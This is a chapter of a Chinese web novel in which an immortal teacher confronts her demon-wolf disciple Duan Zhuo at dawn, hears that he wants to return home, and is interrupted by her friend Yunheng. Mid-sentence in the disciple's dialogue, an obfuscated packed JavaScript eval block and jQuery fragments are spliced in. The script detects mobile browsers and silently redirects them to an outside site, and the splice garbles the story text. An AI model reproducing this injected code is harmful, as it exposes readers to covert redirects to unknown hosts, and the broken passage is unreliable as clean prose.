22. 第二十二章

作品:《一篇古早师徒虐文

    我:“……”


    我不知此时此刻我的脸上是什么样的表情,想来应该是惊讶、错愕,伴随着一点尴尬。


    他为何能够记得日期,还能将我的话字字复述出来?


    我觉得以后我与他说话,需字斟句酌,不然若是许久之后,他将我的原话复述出来后,我会觉得特别尴尬。


    千错万错都是我的错,怪我又往他房中丢不要的东西了。


    那是极好的面料,是某位神仙送我的,只是我不爱穿玄色,于我而言也成了无用之物。


    我点了点头:“原来如此,我忘记了。”


    我送段灼的东西实在是太多了,不可能件件都记得,我想那些送我东西的神仙也不会一件件都记得是什么时候送给我的,送的又是什么东西。


    段灼又抬起那双如他身上这玄衣般幽深的眼看着我,他的目光如蛇在我身上缓缓梭形,爬过我身体的每一寸,不知是因为晨间的山风瑟然还是段灼的眼神,竟叫我有些冷。


    下一刻,段灼的脸上竟爬上一丝绯红,他别过头,那双漆黑的眼落到别处,与我像是有话要说。


    却最终只是唤我一声“师尊。”


    如果他没问题,那问题就出在我身上,出在他刚刚看我的眼神上,我凝眸微微思索,难道我身上有东西?


    我垂下眼眸,这才明白了为何段灼是这样的反应。


    我看见自己正穿着一身单薄的纱衣,随着冷风,裙摆正摇曳着,洁白的肌肤顷刻便要暴露在冷风中。


    哦,原来不是段灼的眼神让我觉得冷,是这风叫我觉得周身寒凉。


    我:“……”


    这纱衣单薄柔软,穿着睡觉可视作无物,旁人看起来亦然。


    这“看起来”的旁人甚至还是段灼。


    “……”


    我眼睛一闭,我这师尊的尊严可以说是荡然无存了。


    我“砰”一声将门拍上,将段灼隔绝在外。


    我换了素衣,将青丝挽起,深吸一口气做了些心理建设,这才将门打开。


    段灼在门外,还如方才那般规矩站着,跟只看门的狗似的。


    鸡没叫,天也没亮,守门的弟子也没来,我这寝殿要多安静有多安静,谁知道这么早就有人找我。


    我甚至不知他究竟是如何进来的。


    我问:“你是如何进来的?”


    段灼却只是看着我,他的脸上还带着方才的那一缕红。


    这时桃花精才忙不迭飞到我身边,与我说道:“女仙,那妖族少年又翻墙……”


    桃花精见他更是神色惊诧,往我身后一躲,小声颤颤道:“原来……原来已经被女仙抓住了。”


    我与段灼听完桃花精的话后,对视良久。


    段灼垂头,屈膝跪地道:“弟子知错,还请师尊责罚。”


    有门不走,偏要翻墙。


    我甚至觉得段灼都不知道自己何错之有,错就错在,不该被我发现。


    我问道:“为何翻墙?”


    段灼闷声道:“弟子以为,师尊走了。”


    我:“?”


    我走了便可以翻墙了吗?


    即便是这样的回答,也很难能叫人不生气。


    他也并非第一次做这样的事了,每次做错了什么认错比谁都快。


    我看着他的模样,叹了口气,今日不罚他,毕竟等会还要去蟠桃宴,等回来再说。


    “下不为例。”


    “是,师尊。”


    我又问:“你刚刚看见了什么?”


    段灼抬眸看我,却又绯红着脸垂下头,支支吾吾:“弟子……弟子未曾看见什么。”


    我:“……”


    没看见才怪。


    我冷声道:“该说什么,不该说什么,想来你心中是清楚的,我便不再多说别的。”


    段灼与我行礼道:“弟子若是与旁人非议师尊,便被降下天罚,受千刀万剐之刑。”


    仙最忌讳的就是发誓,毕竟若是真的违背了誓言,便会成真。


    见他如此,我便放心了。


    段灼说完后,便抬头看着我,他像是有话想与我说似的,其实我心中希望不管他想说什么,最好还是别说。


    可我看着他那有些希冀的神色,觉得他还是会与我说些别的,或是问我些什么。


    他道:“弟子想问,师尊当真觉得是我偷了钱?”


    纵然我罚了他,他仍旧希望我是相信他的。


    我向他的神色中有些不耐:“此事已有定论,你不必再问,纵然在幽闭中关了五日,却还是不知反省自己?”


    段灼这才又垂下头道:“弟子知错。”


    他将这四字咬得艰难,像是要呕出血再吞咽回去后吐出这几个字。


    “知错就不要再提。”


    “……是。”


    纵然是关了五日的幽闭,段灼似乎也并未到恨我,亦或是厌恶我的地步,有些出乎我的意料。


    我总是在心中觉得段灼看我的眼神像一只讨饭的狗,但谁知他的性子亦如狗一般,吃了顿饭后,如何打如何骂都赶不走了。


    不仅如此,他还觉得有些委屈。


    我思来想去,都想不明白究竟是哪里出了问题。


    我转身准备回,段灼却从身后拉住我的衣袖问道:“我在幽闭时,师尊可来过?”


    我回头,视线落在被他紧紧拉住的衣袖上。


    因我的神色,段灼悻悻松手,我的衣袖又自由了。


    我看着他那双漆黑的眸,又扫过他与额间朱砂同色的唇,我摇头:“并未。”


    他怅然若失般立在原地。


    我叹了口气,看着我皱巴巴的衣袖,心道今夜又要做梦了。


    碧水瑶台中所有弟子都知道,进入幽闭的第一晚,我是一定会来的。


    但因为是段灼,我甚至不想让他知道我去过。


    段灼却又与我说:“我想回酆都。”


    我一怔:“为何?”


    其实段灼回了酆都也好,从此以后我不是他的师尊,我不会杀他,他未来应该也不会再杀我了。


    若是段灼走了,我不必再忧心预知梦会成真。


    毕竟他若回到酆都,是死是活尚未可知,此生能否再见,亦尚未可知。


    段灼的神色有些踌躇,犹豫了许久,才决定与我说似的:“我梦到……我娘在酆都过得不好。”


    他那双往日里总是幽静到如死水的眼眸在他说起这些时,轻轻转动着,漾起一些担忧。


    我以为他是在碧水瑶台过得不好,才想回酆都,却并未想到竟是这个原因。


    我问:“那你在碧水瑶台中过得可好?”


    段灼听见我的问题却愣住了,他看着我,又垂眸思索许久,那双黝黑的眼眸又抬了起来。


    “我过得很好,师尊照拂


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469711|184470||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我,师兄们关心我。”


    他的声音沉闷,我不知他说这些之时脑海中可有闪过师兄们欺压他、孤立他,而我对这些视之不见,甚至也欺辱他的画面。


    他只是梦见娘亲过得不好便想回去。


    可这五年,无论他爹还是他娘,怕是没有一个在意他过得好与不好。


    且再说,就算过了五年,他也只是一只妖力低微的小狼妖,就算他娘过得不好,他回去又能做些什么呢?


    我道:“此事后议。你来仙界并非我一个人的意思,若是想走,我要与他们商定。”


    我只有收留段灼的权利,却没有赶他走或是同意他离去的权利。


    段灼点了点头道:“多谢师尊。”


    说时,段灼正跪在地上。


    我与他头顶的桃花纷纷而下,落于鬓间,他抬头看向我,落花纷纷中,我参不透他的眼神。


    落花滚落在他漆黑的衣裳上,像纷纷落下的雪,曾几何时,我也曾见过这样一场雪。


    我的心中竟有些说不出的感觉。


    段灼想走,这于我而言,并不是什么坏事。


    我微微思索,三界的和平并非是因为他这个半途送到天上来的“质子”,毕竟五年前三界早已和平多时。


    他被送来,不过是魔尊轻飘飘一句“求学”,这才使他身陷仙界囹圄中。


    在我看来,段灼若是想走,仙界自然会放人,但魔界会不会接纳他,却未可知。


    我正兀自想着,殿外的门被非常暴力地打开了,桃花被开门扑进来的一阵风吹得满天都是。


    “小镜——”


    “儿”字还没出来,我便看见了推门进来的云恒,她今日换了身比往日得体些的衣裳,更像个女仙,只是动作还是不如外表看起来那般温柔娴静。


    这一声暴力推门,惊得枝上栖息的鸟雀漫天飞舞,桃花树亦晃了晃。


    我:“……”


    方才在想什么,在神伤些什么,全然忘记了。


    她看我站着,又看段灼跪着,神色有些微妙的变化。


    我怀疑她在想一些不正常的东西。


    她的行径也证明了我的怀疑是正确的。


    随后,我又听见一声闷响,庭院的门又合上了,却并未完全合上,留了一条缝。


    云恒在门外朝里面吼着:“对不住对不住!你们继续,我在门外等着!”


    我看着那条缝中露了双眼出来,不禁有些无语:“你直接进来吧,别在那里偷看了。”


    我与段灼并未做什么见不得人的事,如何会介意有旁人在。


    门外的云恒嘿嘿笑了两声:“我以为我来得不是时候呢。”


    我心中腹诽,其实还真的不是时候。


    云恒推门进来,左右看了看我与段灼,又道:“你们这是在?”


    我道:“训诫愚徒。”


    只是这四个字,段灼骤然握紧拳心,他那张俊俏的脸不经意间又闪过一缕红,只是垂着眸,背对着云恒,只我一个人能看见。


    我:“……”


    其实我真的不知道段灼究竟在脸红些什么。


    而且,为何段灼总是这样一副与我不清不楚的样子?


    云恒又轻飘飘绕到我身边,她端详了段灼许久。


    这才道:“你将他的脸都训红了。”


    我:“……”


    早知道不让她进来了。